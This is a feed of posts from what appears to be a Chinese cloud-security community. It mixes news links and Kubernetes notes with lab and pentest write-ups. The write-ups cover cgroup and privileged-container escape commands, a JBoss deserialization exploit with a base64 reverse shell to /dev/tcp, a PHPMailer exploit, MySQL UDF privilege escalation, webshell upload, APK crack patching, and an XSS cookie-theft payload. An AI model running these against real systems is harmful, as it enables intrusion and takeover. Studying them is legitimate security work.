OWASP等组织对发现的漏洞进行跟踪,并提供一份清单,开发人员和安全团队可以将其作为应用程序安全的起点。最近的OWASP 10强名单于2021年发布,包括破损的访问控制、注入攻击、安全错误配置等。
云原生应用程序安全状况报告定义了云原生的采用如何在2021年转变组织防御安全威胁的方式。应用安全变得更加重要,因为错误配置和已知的未修补的安全漏洞被发现是造成最大数量安全事件的原因。
超过56%的人经历了涉及其云原生应用的错误配置或已知的未修补漏洞事件。
5 种类型的 Web 应用程序安全性
关键基础设施和网络安全
移动和网络应用安全
网络安全
云安全
物联网安全
对于应用程序安全性,没有千篇一律的解决方案。每个组织在发布解决方案之前都有不同的方法来审查解决方案
2022年5月19日 12:01火线zone
云原生安全白皮书 v2 版本更新
https://www.cncf.io/blog/2022/05/18/announcing-the-refreshed-cloud-native-security-whitepaper/
用 Tracee 检测和分析 Apache Struts 的漏洞
https://blog.aquasec.com/apache-struts-vulnerability-with-tracee
初探eBPF
https://mp.weixin.qq.com/s/GvWKY4M5YvorC4JF2ztUvQ
在 Kubernetes 上部署 Secret 加密系统 Vault
https://mp.weixin.qq.com/s/OVk39hmSjlgTSKwHb5G7gA
风起云涌下的混合云管趋势预测
https://www.infoq.cn/article/6vqgSEzh1ZXaTucSIUaZ?utm_source=rss&utm_medium=article
Deepfence 增加了管理服务以确保运行时环境的安全
https://containerjournal.com/features/deepfence-adds-managed-service-to-secure-runtime-environments/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月19日 11:31火线zone
前言
Linux利用Cgroup实现了对容器的资源限制,利用该特性,我们可以逃逸与宿主机共享Cgroup的容器。
漏洞介绍
该漏洞将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。
漏洞利用
cdk关于该漏洞的exp
宿主机以特权模式启动容器,尝试在该容器内部通过本脚本逃逸。docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash
容器内部执行 ./cdk run mount-cgroup "touch /tmp/exp-success"
宿主机中出现/tmp/exp-success文件,说明exp已经成功执行,攻击者可以在宿主机执行任意命令。
漏洞复现
以下复现内容参考自:
配置不当导致的容器逃逸 - Kingkk's Blog
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
把上面cdk执行的poc提取出来分析:
# 在容器内执行 mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
创建了一个cgroup,并且通过notify_on_release机制执行容器中的可执行文件。
通过sed -n 's/.*\perdir=\([^,]
2022年5月18日 17:02火线zone
JBoss漏洞复现分析
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞原理:该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
环境:https://github.com/vulhub/vulhub
访问 /invoker/readonly 返回500,说明页面存在,此页面存在反序列化漏洞。

使用工具JavaDeserH2HC进行攻击
首先使用nc建立一个监听,然后使用工具
#生成ReverseShellCommonsCollectionsHashMap.class javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java #生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口) #访问利用 POST 二进制数据上去 curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

直接获取到root权限
也可以使用常规Java反序列化漏洞测试方法来复现该漏洞
首先bash -i >& /dev/tcp/192.168.111.128/8888 0>&1进行base64加密后反弹shell的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoserial来复现生成序列化数据,利用链根据java版本选择,vu
2022年5月18日 11:32火线zone
k8s安全基础学习笔记
https://zone.huoxian.cn/d/1185-k8s
特权容器设备挂载逃逸漏洞
https://zone.huoxian.cn/d/1184
2022年16个危险的云计算漏洞
https://dataconomy.com/2022/05/cloud-computing-vulnerabilities/
你的GCP桶中有多少是可以公开访问的?它可能比你想象的要多...
https://blog.lightspin.io/gcp-buckets-publicly-accessible
Datadog 增强了对 K8S 的监控和安全性
https://www.prnewswire.com/news-releases/datadog-enhances-monitoring-and-security-for-kubernetes-301547247.html
Tetragon - 基于内核层 eBPF 实现的运行时进程防护工具
https://isovalent.com/blog/post/2022-05-16-tetragon
Oxeye提供CNAST工具以更好地保护微服务的安全
https://containerjournal.com/features/oxeye-delivers-cnast-tool-to-better-secure-microservices/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月17日 16:31火线zone
Kubernetes 是一个可移植的、可扩展的开源平台,用于管理容器化的工作负载和服务,可促进声明式配置和自动化。
学习k8s安全可以从搭建、理解组件关系、工作流程、安全机制开始,本文记录从0基础搭建k8s环境和k8s安全基础的笔记。
K8s快速安装
K8s安装有三种方式:
Minikube
一个k8s集群模拟器,只有一个节点的集群,master和worker都在一起
云平台K8s
可视化搭建,几步就可以创一个集群,优点是安装简单,生态齐全。
裸机安装
至少需要两台机器,主节点和工作节点各一台,需要自己安装Kubernetes组件,配置稍麻烦,缺少生态支持,比如负载均衡器和云存储。
minikube安装
0.minikube 介绍
https://minikube.sigs.k8s.io/
minikube 是启动一个最小的 local 的 Kubernetes 的一个环境。
minikube为什么说是最小是因为启动后会创建一个minikube vm,然后在minikube vm中创建一个单节点的k8s集群,就是说创建了一个只有一个节点的集群,也可以在启动minikube的指定
--vm-driver=none参数,使minikube直接在当前系统里安装单节点的k8s集群而不再创建minikube vm。
minikube可以在本机也可以在虚拟机中安装,Win/Linux都可,如果是虚拟机安装的话VT-x/AMD-v 虚拟化必须在 BIOS 中开启。并且如果在Windows下安装,如果开启了Hyper-V,不支持VirtualBox方式。
安装minikube过程为三步,分别是:安装docker、安装kubectl、安装minikube。
docker是容器引擎
kubectl是一个kubernetes的命令管理工具,一个kubernetes的一个命令行客户端。类似于mysql命令和mysqld数据库服务器的管理,mysql是mysqld的一个命令管理工具,mysqld是数据库引擎。
minikube是缩小版的kubernetes。
初始操作:
这里拿一台干净的CentOS7.9来安装,进行一些初始命令:
systemctl stop firewalld && systemctl disable firewalld #关闭自带防火墙 yum -y install iptables-services && syst
2022年5月17日 15:01火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】>点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
查克拉是什么
查克拉是火线安全平台推出的查克拉系统,查克拉为火线安全社区可流通可消费的虚拟货币系统,成员可使用它进行:
社区消费:可根据需要使用查克拉兑
2022年5月17日 14:31火线zone
前言
特权容器启动时,容器本身具有很高的权限,利用此我们可以进行容器逃逸。
漏洞介绍
docker 容器以特权模式(docker run --privileged)启动时,允许容器内的root拥有外部物理机root权限,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器:
securityContext: privileged: true
判断容器是否以特权模式启动:
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
漏洞利用
cdk关于该漏洞的exp
自动化逃逸有设备操作权限的容器。常用于逃逸特权容器。
该脚本将自动化识别当前容器内的挂载情况,并将宿主机的物理磁盘挂载到容器中,从而使容器中可以编辑宿主机文件(如修改宿主机的/etc/crontab)完成逃逸。
宿主机以特权模式启动容器,尝试在该容器内部通过本脚本逃逸。docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash
容器内部执行 ./cdk run mount-disk
在容器内部进入挂载目录,直接管理宿主机磁盘文件。
漏洞复现
启动特权容器
在docker命令行中可以通过如下命令启动一个特权容器
docker run -it --privileged nginx /bin/bash
k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器
securityContext: privileged: true
查看磁盘文件
查看磁盘文件:fdisk -l
此时查看/dev/路径会发现很多设备文件:ls /dev
挂载磁盘设备进行逃逸
在特权模式下,可以直接挂载宿主机的磁盘,chroot之后就可以像访问本地文件一样,读取宿主机上的文件
fdisk -l mkdir /abc mount /dev/sda1 /abc chroot /abc/
参考文章
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%9
2022年5月17日 14:01火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】 点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年5月17日 11:01火线zone
重磅首发!火线安全发布《云安全攻防技术期刊》
https://zone.huoxian.cn/d/1180
微软云 LB、VNet 和 IM 攻防
https://zone.huoxian.cn/d/1179-lbvnet-im
平衡小团队的需求和云计算的可视性需求
https://www.lacework.com/blog/balancing-small-team-demands-with-the-need-for-cloud-visibility/
绕过AWS/Azure/GCP云WAF的乐趣
https://infosecwriteups.com/module-1-introduction-pentesting-bypassing-cloud-waf-fun-profit-75f315951aa8
类似CVE的云系统安全解决方案出现
https://threatpost.com/cve-cloud-bug-system/179394/
深入探究--保护云中的容器威胁
https://threatpost.com/container_threats_cloud_defend/179452/
加密技术如何帮助恢复云安全的完整性
https://securityboulevard.com/2022/05/how-encryption-helps-restore-cloud-security-integrity/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月17日 10:31火线zone
在现今社会APP已经是泛滥了,任何一个公司或者企业或多或少的都会有自己的APP,而APP的安全也是一块新天地。发布多少,这次帖子主要是从APK逆向分析出手。
1、利用吾爱破解论坛的demoapk实战破解分析;
下载论坛上的debug.apk(https://wwi.lanzoup.com/iGJzi012bscf);

随便输入都是破解失败。接下来我们就让他随便输入都是破解成功;
2、下载相关破解工具;
apktool_2.6.1.jar(https://bitbucket.org/iBotPeaches/apktool/downloads/)
3、反编译目标apk(这里由于使用的demo,没有加壳,对于加壳的APP还需要使用frida或BlackDex64等其他工具进行脱壳)
java -jar apktool.jar d debug.apk
4、方便过后得到一个debug文件夹

5、找到smali文件;
通过jeb动态分析逻辑或AndroidKiller_v1.3.1工具都可以,这里根据论坛上的指引,找到了反编译之后的Screen1.smali文件;
6、打开Screen1.smail文件,定位到需要破解的位置;
原始代码中的判断逻辑方法在u6309u94ae1$Click方法中,找到if-eq v0, v1, :cond_0,这里 如果v0 等于v1 的值,那么就执行const-string v2, "\u7834\u89e3\u5931\u8d25"破解失败;
这里改了一下
if-eq v0, v1, :cond_1如果v0等于v1的值,那么就执行const-string v2, "\u7834\u89e3\u6210\u529f" 破解成功
.method public u6309u94ae1$Click()Ljava/lang/Object;
.locals 4
.prologue .line 29 invoke-static {}, Lcom/google/youngandroid/runtime;->setThisForm()V sget-object v0, Lcom/google/youngandroid/runtime;->yail$Mnequal$Qu:Lgnu/expr/ModuleMethod; sget-object v1, Lappinventor/ai_test/guess/S
2022年5月16日 18:01火线zone
随着业务的不断上云,安全攻防的主战场也逐渐转移到云上,云环境下产生新型安全攻防技术,火线云安全研究团队与火线Zone云安全社区将近年来在云安全方向的深入研究整理成册,以促进在云安全领域的安全攻防技术发展。
多云环境攻防矩阵
以攻击者视角对主流公有云进行计算环境、云产品等进行深入研究,形成全视角的云安全攻防全景图。
据统计80%以上的企业在真实环境下使用多云产品构建业务,该矩阵首次展示在多个云环境由于租户错误配置存在的安全威胁,促进企业提升云环境安全水平,保护业务资产安全性。
cloudsec.huoxian.cn
首个开源云环境攻防靶场
TerraformGoat是火线安全开源的云产品漏洞靶场,使用TerraformGoat可以快速在阿里云、腾讯云、华为云、Amazon Web Services、Google Cloud Platform、Microsoft Azure等多个云环境构建错误配置导致的漏洞靶场,快速学习由于错误配置导致的云产品安全风险。
https://github.com/HuoCorp/TerraformGoat
最前沿的云安全攻防技术
根据丰富的云上攻防实践经验,以实战攻击者视角出发,总结覆盖多云环境的技术研究成果,持续更新最新云安全攻防技术期刊,本次推出首期刊物。
配套技术资料及工具
从攻防矩阵标准、攻防实验靶场到前沿的技术期刊,可以帮助企业就相关研究人员快速学习云安全攻防技术。
*412页 + 60000余字技术干货*
完整资料期待您的申请,长按下方二维码免费领取《云安全攻防技术期刊 2022 第一期》及《火线云安全攻防评估技术白皮书》
数量有限,先到先得~
【火线Zone云安全社区群】
进群可以与技术大佬互相交流
进群有机会免费领取节假日礼品
进群可以免费观看技术分享直播
识别二维码回复【社区群】进群
2022年5月16日 15:31火线zone
0x01 LB
Azure 负载均衡器在开放式系统互连 (OSI) 模型的第 4 层上运行,它是客户端的单一联系点。
负载均衡器将抵达负载均衡器前端的入站流分配到后端池实例,这些流取决于配置的负载均衡规则和运行状况探测,后端池实例可以是 Azure 虚拟机,或虚拟机规模集中的实例。
影响
创建负载均衡器资源
az network lb create --resource-group Test --name MyLB --sku Standard --public-ip-address Myip --frontend-ip-name myfront --backend-pool-name myback 创建公共负载均衡器,命名为MyLB,前端池命名为myfront,后端池子命名为myback,与上一步创建的公共ip地址Myip关联
创建运行状况检测
az network lb probe create --resource-group Test --lb-name MyLB --name MyPROBE --protocol tcp --port 80 命名为MyPROBE,协议为tcp,监视端口为80
创建负载均衡器规则
az network lb rule create --resource-group Test --lb-name MyLB --name myHTTPRule --protocol tcp --frontend-port 80 --backend-port 80 --frontend-ip-name myfront --backend-pool-name myback --disable-outbound-snat true --idle-timeout 15 --enable-tcp-reset true 命名为myHTTPRule,对前端池myfront中的端口80进行监听,使用端口80将负载均衡的网络流量发送到后端池myback,协议为tcp,空闲超时15分钟,启用tcp重置
将虚拟机添加到负载均衡器后端池
array=(myNicVM1 myNicVM2) for vmnic in "${array[@]}" do az network nic ip-config address-pool add \ --address-pool myBackendPool \ --ip-config
2022年5月16日 11:31火线zone
Kubernetes 安全
https://zone.huoxian.cn/d/1175-kubernetes
云安全书籍推荐必读榜
https://mp.weixin.qq.com/s/D6Z-x9nTlnnsEQpQQ3NTrw
云上攻防二三事
http://avfisher.win/archives/1331
图解 Kubernetes Pod 如何获取 IP 地址
https://mp.weixin.qq.com/s/LSsiEeZjBYPV1C--EwRRWw
如何编译 Istio?
https://jimmysong.io/blog/how-to-build-istio/
如何消除Kubernetes中的证书错误配置?
https://securityboulevard.com/2022/05/how-to-eliminate-certificate-misconfiguration-in-kubernetes/
2022 年亚洲 BlackHat 大会的趋势--Kubernetes、云安全等
https://sysdig.com/blog/blackhat-asia-2022-trends/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月14日 14:31火线zone
前言
刚过完年的时候在补天社区看到了这篇文章 记一次渗透实战-代码审计到getshell
通过搜索发现对应的是 冰心网络验证 http://wlyz.bingxs.com/ 于是尝试在本地进行安装进行审计
下载安装包 https://teorun.lanzout.com/izfhne
下载安装后,我们看到如果利用 phpstudy 设定域名,或者非 127.0.0.1 的 ip 地址时均需要进行授权
具体的校验,我们可以查看代码 index.php 中包含了 core/common.php
core/common.php 被进行了加密,猜测是当设定了域名或者 127.0.0.1 的 ip 时,就向官网进行授权验证,所以既可以通过 127.0.0.1 来进行分析,也可以通过屏蔽 host 来实现绕过。
继续进行分析时,发现部分代码进行了加密 core/lib/Db.php
新学到的知识点,通过动态调试来获取文件代码(只在 vscode 上执行成功,phpstom 上会提示 Cannot find a local copy of the file on server 就是本地文件与远程文件不匹配)
我们找到调用加密文件的位置
app\admin\controller\Home.php
管理员登录的地方会调用 core/lib/Db.php 文件,添加断点,启动调试,然后管理员登录
程序执行到断点位置后,单步调试进入程序内部,发现会生成临时文件,将文件进行了解密
如此可以得出所有文件
在线格式化 http://dezend.qiling.org/format/
同时也可以通过这种方法,获取文件的源代码
将文件中的 eval 替换为 echo
将获取的数值替换后半部分,同时 eval 再次替换为 echo
查看网页源代码就获取了文件的代码
根据解密过程写一个解密脚本
import os import re filename = "index.php" with open(filename, 'r') as read_file: contents = read_file.read() decode_content = contents.replace("eval","echo") with open(filename,'w') as write_file: write_file.write(decode_content) 
2022年5月13日 21:01火线zone
记一次某授权单位的"丝滑"渗透
前言
接到某单位的渗透测试,纯黑盒的渗透测试,没有给资产信息和资产列表,,,,
信息搜集
直接百度搜索公司找到官网,并没有发现有用的信息,只通过查找子域名,解析一下ip,直接扫描c段,扫描端口,web服务开放的端口
有后台,但是没有前端,到这里不确定是不是该公司的资产,但是乌拉哇的一波操作之后并没有找到其它可以利用的地方,官网是在是没有什么可以利用姿势,,,,但是只是后台并没有账号和密码,尝试一下爆破依旧无果,这个时候在官网看到单位邮箱
类似于个人邮箱,但是不确定,爆破一下管理员账号密码没有用,直接拿邮箱的zxx上,依旧没有密码,直接想着自己生成字典,尝试一下
https://www.ddosi.org/pass8/
直接爆破,比较有意思的是,竟然有密码,直接登录
内容管理这一块儿可以确定是甲方资产了,有指纹,真是让人惊喜意外,直接google搜索源码直接审计
审计上传点儿
导入maven项目,本地部署,令人无语的地方在环境搭建,有docker环境的话直接审还是比较舒服的,fortify扫描,确实有点慢
根据扫描结果,分析代码位置
xxxxx\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java
控制层后端功能点儿模板文件,构造数据包,下断点
函数
类file.java中的file方法先初始化获取pathname,后对路径无过滤
在28行向下开始获取到文件名以及文件内容
26行结束时文件已写入,test..html文件名写错了,请忽略不计。
成功写入,接下来就尝试写入jsp文件且需要jsp文件被解析才能使用,但是经过测试该路径下的文件无法访问,那么需要判断文件上传的路径能不能可控
这里在56行的时候直接拼接了url,所以这里可以确定参数dirs这里的路径也是可以可控的,同样在44行的方法中调用了类file的方法,filename也是可控的,经过测试可以判断在路径static下的jsp能够被解析,上传文件的时候需要对webshell进行编码
访问之后冰蝎连接
利用
构造数据包进行上传,这里有一点儿就是路径猜测的问题,因为上面分析到后面的绝对路径,但是文件目录结构跟本地搭还是有点儿不同,所以上传的时候多做测试即可。
http://xxxxxxxxxxxxxxxxxxxx
2022年5月13日 17:01火线zone
上篇翻译文章介绍了kubernetes,这篇文章介绍了kubernetes的安全性
https://www.tigera.io/learn/guides/kubernetes-security/
Kubernetes 安全风险
受损图像和图像注册表
为确保映像的安全性,组织应实施强有力的治理策略,以确保映像安全地构建并存储在受信任的注册表中。例如,组织应确保使用预先批准的安全基础镜像构建容器镜像,并定期扫描这些镜像以查找问题和漏洞。
组织应通过创建允许使用的图像注册表列表来标准化注册表。在用于在 Kubernetes 集群中创建容器之前,应始终扫描图像,以避免篡改。
受损容器或恶意流量
作为正常操作的一部分,容器和 Pod 需要相互通信。但是,这种通信可以被威胁参与者利用。被破坏的容器可能会影响其他容器和 pod。
为确保通信安全,组织应制定网络策略,将通信限制在工作负载正常运行所需的最低限度。这包括集群内的南北向流量(入口/出口流量)和东西向流量。网络策略应自动调整,以确保它们不会损害生产力。
缺乏能见度
可见性对于确保维护安全至关重要。但是,在复杂的分布式容器化环境中实现可见性可能具有挑战性。
可能有大量容器被调度、部署和终止——所有这些都需要被跟踪、监控和管理。
容器化工作负载的分布式和动态特性使得收集、跟踪和理解相关指标变得困难。
Kubernetes 可以部署在多云或混合云环境中。每个云供应商都提供自己的监控和可见性工具,因此很难实现跨环境的一致可见性。
在没有可见性的情况下保护应用程序可能很困难,甚至是不可能的。如果没有可见性,就不可能在威胁者利用它们之前检测到关键漏洞或发现错误配置。可见性对于在运行时监控容器以检测攻击以及跟踪不再使用的容器以便在它们成为责任之前适当地淘汰它们也至关重要。
不安全的默认配置
Kubernetes 旨在加快应用程序的部署并简化操作和管理。虽然 Kubernetes 提供了广泛的控件来帮助组织有效地保护集群和应用程序,但它并没有提供开箱即用的安全配置。
例如,Kubernetes 网络策略的行为类似于防火墙规则,控制 pod 如何相互通信以及与其他端点通信。一旦为 Pod 分配了网络策略,它就只能与网络策略中声明的资产进行通信。但是,Kubernetes 默认情况下不会将网络策略应用于 pod。这意味着在部署后,所有 pod 都可以与 Kubernetes 环境中的所有其
2022年5月13日 16:31火线zone
Raven: 2 ~ VulnHub
信息收集
Nmap扫端口
80端口信息
一个.DS_Store文件泄露(好像没什么用)、一个vendor文件夹和一个登陆后台页面
PATH中找到了flag1,同时还得到了整个网站搭建在var/www/html下
PHP版本5.2.16
又看了看SECURITY.md文件,发现里面记录了PHP各个版本的漏洞情况,拿去翻译了一下,只有第一个漏洞符合现在的PHP版本
百度一下这个漏洞是什么,好家伙正好还是关于这个CMS的漏洞,看了看漏洞复现,用kali查找关于这个漏洞的exp
PHPMailer漏洞利用
KALI搜寻关于这个漏洞的exp,选择PHPMailer小于5.2.18的,这里我选择了py脚本,也就是40974.py
接着将里面的py脚本复制下来保存,记得要改payload中的IP,一个攻击目标,一个本地监听,还要记得后门的文件名
然后按照他说的方法进行操作
这里试了很久这个脚本都没运行成功,查了一下wp发现原来target是contact.php文件,也没有人说原因,不太懂
还有后面的后面路径要改成var/www/html,忽略了这一点。。
但是还有一个坑!!还不能使用默认的后门名,必须要自己改名字,无语了
终于可以了,交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
翻了翻目录,看到一个wp-config.php,果然有数据库的账号密码
连接mysql
mysql -u root -p R@v3nSecurity
MYSQL——UDF提权
因为我是根据mysql提权来找的靶机,所以第一时间就想到了UDF提权,作弊了
看了看使用方法这里说要先编译,那就在本地编译之后上传上去,使用scp上传
scp root@192.168.200.6:/root/raptor_udf2.so /var/www/html
上传了之后还是使用下面的命令,因为上面的exp路径不一样
use mysql; create table foo(line blob); insert into foo values(load_file('/var/www/html/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; c
2022年5月13日 11:31火线zone
如何保证Kubernetes中部署的安全?
https://mp.weixin.qq.com/s/roZE18dCoepqmwjRucQqZg
用无文件的恶意软件破坏只读容器
https://zone.huoxian.cn/d/1168
初识Kubernetes 集群
https://zone.huoxian.cn/d/1169-kubernetes
虚拟机和容器的区别
https://www.trendmicro.com/en_us/devops/22/e/the-difference-between-virtual-machines-and-containers.html
调试 k8s 过程中遇到的 5 个问题
https://containerjournal.com/features/top-5-frustrations-with-debugging-kubernetes/
GitOps:安全、合规和弹性的左移
https://containerjournal.com/features/gitops-security-compliance-and-resilience-shift-left/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月13日 11:01火线zone
简介
网络爬虫一直以来是让网站维护人员头痛的事情,即要为搜索引擎开方便之门,提升网站排名、广告引入等,又要面对恶意爬虫做出应对措施,避免数据被非法获取,甚至出售。因此促生出爬虫和反爬虫这场旷日持久的战斗。
爬虫的开发从最初的简单脚本到PhantomJs、selenium再进化到puppeteer、playwright等,和浏览器结合越来越密切。
反爬虫的手段从ua、Header检测到IP频率检测再到网站重构、验证码、JS加密等,手段越来越多样。
下表是爬虫攻防手段发展一个简单的对比
反爬虫的手段到现在已经成体系化了,访问令牌(身份认证)、验证码(滑动、逻辑、三维等)、行为&指纹检测(人机区分)、请求&响应加密等。所有这些功能的实现都是依靠前端JS代码,对于攻击者,如何去绕过反爬虫手段,分析前端JS代码就成为了必经之路。那么JS如何不被破解,也成为了反爬虫的关键。
本文只探讨JS如何防破解,其它反爬虫手段不展开讨论
JS防破解
JS防破解主要客户分为两个部分:代码混淆和反调试。
代码混淆
从代码布局、数据、控制三个方面入手,进行混淆。
布局混淆
常见手段有无效代码删除,常量名、变量名、函数名等标识符混淆等。
无效代码删除
注释文本对于理解代码逻辑有很多帮助,生产环境需要删除。
调试信息对于开发者调试Bug有很大的帮助,生产环境需要删除。
无用函数和数据需要删除,避免攻击者能够猜到开发者意图,和垃圾代码添加不同。
缩进、换行符删除,减小代码体积,增加阅读难度。
标识符重命名
单字母。还可以是aa、a1等,需要注意避免作用域内标识符冲突。
var animal = 'shark' //源代码 var a = 'shark' //重命名
十六进制。
var animal = 'shark' //源代码 var _0x616e696d616c = 'shark' //重命名


使用十六进制重命名可以衍生到其它方法,但重命名最重要的还要**使用简短的字符替换所有的标识符,并且作用域内不碰撞,不同作用域尽量碰撞**。 这种重命名方式对于常量同样有效。 ```js var _$Qo = window , _$Q0 = String, _$Q0O = Array, _$QO = document, _$$Q0O = Date ``` 变量名不同作用碰撞。函数名和函数局部变量碰撞,不用函数内局部变量碰撞,全局变量和局部变量碰撞等等
2022年5月12日 17:32火线zone
要想玩儿的转,首先得突破固化的思维,当渗透作为固化的思考方式的时候,很难有所突破,固化的姿势加上灵活的思路才有得玩儿。从利用模拟钓鱼来进行信息搜集,最后实现权限获取
信息搜集
探测目标ip地址,用什么工具都可以,看自己兴趣
netdiscover -n 192.168.0.105/24
扫描端口
nmap -A -p- 192.168.0.103
思路
就这种BC的套路,22端口爆破的几率不大,80端口访问一下,发现是登陆页面,这个登录页面,没有cms类型识别,但是能注册
注册账号登录
在框内输入内容之后然后会进行跳转,类似于csrf操作。但是如果访问
直接跳转百度,闭合标签,构造payload,反射型xss
1'></a><script>alert(1)</script>
这个时候以为春天来了,难不成弹cookie然后admin登录么
1'></a><script>alert(document.cookie)</script>
也是想多了。这个cookie是自己的,不是BJ给的。
那么这里想要怎么去利用这个漏洞呢,其实上面的提示已经提示
Please submit your link so that we can get started. All links will be reviewed by our admin
这个时候思路需要广,构造钓鱼页面,等待系统给我们admin的密码,构造登录页面,自动跳转到登录界面,构造两个页面一个首页一个钓鱼页面
fish.html
